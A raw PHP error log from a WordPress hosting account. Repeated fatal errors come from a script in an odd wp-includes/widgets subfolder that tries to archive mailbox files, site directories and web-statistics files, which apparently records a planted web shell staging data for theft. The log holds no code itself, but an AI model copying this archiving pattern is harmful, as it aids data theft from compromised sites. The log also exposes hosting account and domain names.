[05-Nov-2025 08:57:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot-uidlist.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 09:09:16 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1754409361.M880044P1883429.premium320.web-hosting.com,S=30502,W=31048.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 09:09:19 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1753854938.M357816P3065658.premium320.web-hosting.com,S=21769,W=22455:2,.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 10:00:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 10:08:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 10:15:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Junk.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 10:20:14 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar '1754236382.M804776P1508629.premium320.web-hosting.com,S=53518,W=54675:2,.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 10:24:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot-uidlist.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 10:27:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/IXR.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 10:56:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dovecot.index.log.index.log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:09:16 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar 'awstats082025.waterdamagerestorationandrepairsmithtown.com.freshairchimneysweep.com.txt.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:11:28 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar 'awstats082025.firedamagerestorationcleanupbabylon.com.freshairchimneysweep.com.txt.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:11:30 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Cannot create phar 'awstats112025.waterdamagerestorationandrepairsmithtown.com.freshairchimneysweep.com.txt.tar', file extension (or combination) not recognised or the directory does not exist in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->__construct()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:24:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:26:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:27:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:30:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:30:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:31:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:41:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/maildirsize.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:41:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:41:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:42:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Archive.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:42:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:44:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:44:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/maildirsize.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:46:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:46:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:46:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Archive.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:46:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:47:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:47:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:47:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:47:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:47:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:47:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:47:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:48:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:48:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:48:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:50:33 UTC] PHP Fatal error:  Uncaught PharException: tar-based phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/waterdamageremovalsuffolkcounty.com.tar" cannot be created, filename "wp-content/plugins/elementor-pro/assets/js/notes/vendors-node_modules_radix-ui_react-alert-dialog_dist_index_module_js-node_modules_radix-ui_r-e4587e.js" is too long for tar file format in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Drafts.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.spam.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Drafts.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/new.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 11:52:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/.Drafts.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
